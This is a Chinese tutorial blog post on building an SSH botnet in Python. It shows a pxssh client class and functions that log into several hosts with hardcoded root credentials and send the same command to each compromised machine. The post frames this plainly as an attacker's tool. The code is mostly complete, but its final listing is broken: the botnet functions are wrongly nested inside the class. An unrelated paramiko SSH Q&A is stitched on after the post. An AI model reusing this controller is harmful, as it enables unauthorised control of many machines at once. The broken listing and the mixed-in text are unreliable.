【Python脚本进阶】2.2、组建一个SSH僵尸网络(终)

目录

一、简介

1.1、概述:

二、实现

2.1、函数:

2.2、连接:

2.3、组建僵尸网络


一、简介

1.1、概述:

能通过SSH控制主机, 接下来就要同时控制多台主机

攻击者在达成恶意目的时, 通常会使用被黑掉的计算机群。我们称之为僵尸网络, 因为被黑掉的电脑会像僵尸一样执行指令。为构建僵尸网络, 我们必须引入一个新的概念一类。类的概念是面向编程对象和编程模型的基础。在这一编程模型中, 我们会把各个对象和它们所关联的方法一起实例化。在僵尸网络中, 每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力



二、实现

2.1、函数:

__init__ :是初始化initialization的缩写,在使用类创建对象之后被执行,用于给新创建的对象初始化属性用,如初始化属性的语句就是 self.name=name


prompt是 javascript语言中的一个方法,主要用处是显示提示对话框

2.2、连接:

实现每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力

import optparse
import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Error Connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

2.3、组建僵尸网络

生成Client()类对象的代码。为了构造client 对象, 需要主机名、用户名,以及密码或密钥。同时, 这个类还要包含维持与肉机连接所需的方法 connect() 、send_ command()和alive()。当引用属于类中的变量时, 是以self 后接变量名的方式表示它的。

为了构建僵尸网络, 要建立一个名为botNet 的全局数组,其中记录了单个client 对象。编写一个名为addClient()的方法,它的输入是主机名、用户和密码,并以此实例化一个client 对象, 并把它添加到botNet 数组里。接下来的botnetComrnand()函数只要一个参数要发布的命令。这个函数遍历整个数组, 把命令发送到botNet 数组中的每个client 上

import optparse
import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] Error Connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


    
    def botnetCommand(command):
        for client in botNet:
            output= client.send_command(command)
            print('[*] Output from ' + client.host)
            print('[+] ' + output + '\n')

    def addClient(host, user, password):
        client = Client( host, user, password )
        botNet.append(client)

    botNet = []
    addClient('10.10.10.110', 'root', 'toor')
    addClient('10.10.10.120', 'root', 'toor')
    addClient('10.10.10.130', 'root', 'toor')
    botnetCommand('uname -v')
    botnetCommand('cat /etc/issue')
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 可以尝试使用Python的paramiko库来编写一个Python脚本,它可以实现远程连接SSH的功能。可以参考以下示例代码:import paramiko#create SSH clientssh = paramiko.SSHClient()#Auto add host keyssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())#connect to remote hostssh.connect(hostname='remote_hostname_or_ip', username='username', password='password')#run commandstdin, stdout, stderr = ssh.exec_command('ls -l')#print outputfor line in stdout.readlines(): print line#close ssh connectionssh.close() ### 回答2: 要编写一个可以远程连接SSHPython脚本,你可以使用Paramiko库来实现。Paramiko库是一个用于SSHv2协议编程的Python实现。 首先,需要安装Paramiko库。在端中运行以下命令来安装Paramiko库: ``` pip install paramiko ``` 然后,在Python脚本中导入Paramiko库: ```python import paramiko ``` 创建一个SSHClient对象,并连接到远程主机: ```python client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect('远程主机IP', port=22, username='用户名', password='密码') ``` 在建立SSH连接后,你可以执行远程命令: ```python stdin, stdout, stderr = client.exec_command('远程命令') ``` 可以通过`stdout.read()`方法读取执行结果: ```python print(stdout.read().decode()) ``` 最后,记得在使用完SSH连接后关闭连接: ```python client.close() ``` 这是一个简单的示例,可以启发你编写一个脚本来远程连接SSH。当然,还有一些其他的高级用法,如上传和下载文件等,你可以查看Paramiko库的官方文档来进一步学习和了解。 ### 回答3: 要编写一个可以远程连接SSHPython脚本,你可以借助paramiko库来实现。Paramiko是一个支持SSHv2协议的Python模块,它可以让你通过SSH连接到远程服务器,并执行命令。 首先,你需要在你的Python环境中安装paramiko库。你可以通过运行以下命令来安装它: ``` pip install paramiko ``` 接下来,你可以使用以下代码编写一个远程连接SSH脚本: ```python import paramiko # 创建SSH客户端实例 client = paramiko.SSHClient() # 自动添加和保存远程服务器的 SSH RSA 密钥 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接远程服务器 client.connect('your_remote_server_ip', username='your_username', password='your_password') # 执行命令 stdin, stdout, stderr = client.exec_command('your_command') # 打印命令输出结果 print(stdout.read().decode()) # 关闭连接 client.close() ``` 在这个脚本中,你需要将`your_remote_server_ip`替换为远程服务器的IP地址,`your_username`替换为登录远程服务器的用户名,`your_password`替换为密码,`your_command`替换为你希望远程执行的命令。 当你运行这个脚本时,它将会连接到远程服务器,执行指定的命令,并将命令的输出结果打印到控制台上。 但需要注意的是,为了安全起见,推荐使用SSH密钥对进行身份验证,而不是使用密码登录。你可以使用paramiko库提供的`keyfile`参数来指定SSH私钥文件。 希望对你有帮助!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值